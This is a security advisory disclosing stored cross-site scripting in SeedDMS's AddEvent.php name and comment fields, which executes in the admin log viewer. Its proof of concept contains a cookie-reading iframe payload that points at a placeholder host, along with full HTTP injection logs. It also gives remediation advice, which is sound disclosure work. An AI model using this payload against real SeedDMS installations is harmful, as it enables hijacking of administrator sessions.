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# Title: SeedDMS 5.1.18 - Persistent Cross-Site Scripting
# Author: Vulnerability Laboratory
# Date: 2020-04-15
# Vendor: https://www.seeddms.org
# Software Link: https://www.seeddms.org/index.php?id=7
# CVE: N/A

Document Title:
===============
SeedDMS v5.1.18 - Multiple Persistent Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2209


Release Date:
=============
2020-04-15


Vulnerability Laboratory ID (VL-ID):
====================================
2209


Common Vulnerability Scoring System:
====================================
4.3


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
SeedDMS is a free document management system with an easy to use web
based user interface. It is based on PHP and
MySQL or sqlite3 and runs on Linux, MacOS and Windows. Many years of
development has made it a mature, powerful
and enterprise ready platform for sharing and storing documents. It's
fully compatible with its predecessor LetoDMS.

(Copy of the Homepage: https://www.seeddms.org/index.php?id=2 &
https://www.seeddms.org/index.php?id=7 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent vulnerabilities in the SeedDMS v5.1.16 & v5.1.18 web-application.


Affected Product(s):
====================
Uwe Steinmann
Product: SeedDMS - Content Management System  v4.3.37, v5.0.13, v5.1.14,
v5.1.16, v5.1.18 and v6.0.7


Vulnerability Disclosure Timeline:
==================================
2020-04-15: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
Multiple persistent cross site web vulnerabilities has been discovered
in the SeedDMS v4.3.37, v5.0.13, v5.1.14 and v6.0.7 web-application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.

The persistent cross site scripting web vulnerabilities are located in
the `name` and `comment` parameter of the `AddEvent.php` file.
Remote attackers are able to add an own event via op.AddEvent with
malicious script codes. The request method to inject is POST
and the attack vector is located on the application-side. After the
inject the execution occurs in the admin panel within the
`Log Management` - `Webdav` and `Web` on view. The content of the
comment and name is unescaped pushed inside of the logs with
a html/js template. Thus allows an attacker to remotly exploit the issue
by a simple post inject from outside with lower privileges.

Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected or connected
application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] op.AddEvent (AddEvent.php)

Vulnerable Parameter(s):
[+] name
[+] comment

Affected Module(s):
[+] Log Management (out.LogManagement.php)


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attackers
with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the security web
vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Start your local webbrowser and tamper the http protocol session
2. Open the AddEvent.php and add a new event
3. Insert your script code test payload inside the Name or Comments path
4. Save or submit the entry with error
Note: Now the web and webdav log has captured the insert or erro
5. Now wait until the administrator previews in the log management the
web or webdav view function
6. Successful reproduce of the persistent web vulnerability!


PoC: Vulnerable Source (Log Management - View)
<pre>Apr 13 19:23:22  [info] admin (localhost) op.RemoveLog
?logname=20200413.log
Apr 13 19:29:53  [info] admin (localhost) op.AddEvent ?name="<iframe
src="evil.source" onload="alert(document.cookie)"></iframe>
&comment=<iframe src="evil.source"
onload="alert(document.cookie)"></iframe>&from=1586728800&to=1586815199
</pre>


PoC: Payload
>"<iframe%20src=evil.source%20onload=alert(document.cookie)></iframe>


--- PoC Session Logs (POST) ---
https://SeedDMS.localhost:8080/out/out.AddEvent.php
Host: SeedDMS.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://SeedDMS.localhost:8080/out/out.Calendar.php?mode=y
Cookie: mydms_session=b0496ccee96aa571a3ca486b8738c312
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2973
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
-
https://SeedDMS.localhost:8080/op/op.AddEvent.php
Host: SeedDMS.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
Origin: https://SeedDMS.localhost:8080
Connection: keep-alive
Referer: https://SeedDMS.localhost:8080/out/out.AddEvent.php
Cookie: mydms_session=b0496ccee96aa571a3ca486b8738c312
from=2020-04-13&to=2020-04-13
&name=>"<iframe src=evil.source
onload=alert(document.cookie)></iframe>&comment=>"<iframe
src=evil.source onload=alert(document.cookie)></iframe>
-
POST: HTTP/1.1 302 Found
Server: Apache/2.4.25 (Debian)
Location: ../out/out.Calendar.php?mode=w&day=13&year=2020&month=04
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Note: Injection Point via Calender op.AddEvent Name & Comment



--- PoC Session Logs (GET) ---
https://SeedDMS.localhost:8080/out/out.LogManagement.php?logname=20200413.log
Host: SeedDMS.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: https://SeedDMS.localhost:8080/out/out.LogManagement.php
Cookie: mydms_session=b0496ccee96aa571a3ca486b8738c312
-
GET: HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 273
Keep-Alive: timeout=5, max=94
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
-
https://SeedDMS.localhost:8080/out/evil.source
Host: SeedDMS.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
Gecko/20100101 Firefox/75.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://SeedDMS.localhost:8080/out/out.LogManagement.php
Cookie: mydms_session=b0496ccee96aa571a3ca486b8738c312
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 302 Found
Server: Apache/2.4.25 (Debian)
Location: /out/out.ViewFolder.php
Content-Length: 0
Keep-Alive: timeout=5, max=93
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

Note: Execution Point via Log Management (AP) on Webdav View or Web View



Reference(s):
https://SeedDMS.localhost:8080/
https://SeedDMS.localhost:8080/op/op.AddEvent.php
https://SeedDMS.localhost:8080/out/out.ViewFolder.php
https://SeedDMS.localhost:8080/out/out.AddEvent.php
https://SeedDMS.localhost:8080/out/out.LogManagement.php
https://SeedDMS.localhost:8080/out/out.Calendar.php?mode=
https://SeedDMS.localhost:8080/out/out.LogManagement.php?logname=


Solution - Fix & Patch:
=======================
1. Parse and escape the name and comment input field on transmit to sanitize
2. Filter and restrict the input field of the name and comments
parameter for special chars to prevent injects
3. Parse the output location of all web and webdav logfiles to prevent
the execution point


Security Risk:
==============
The security risk of the persistent cross site web vulnerabilities in
the seeddms web-application are estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
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any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
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incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

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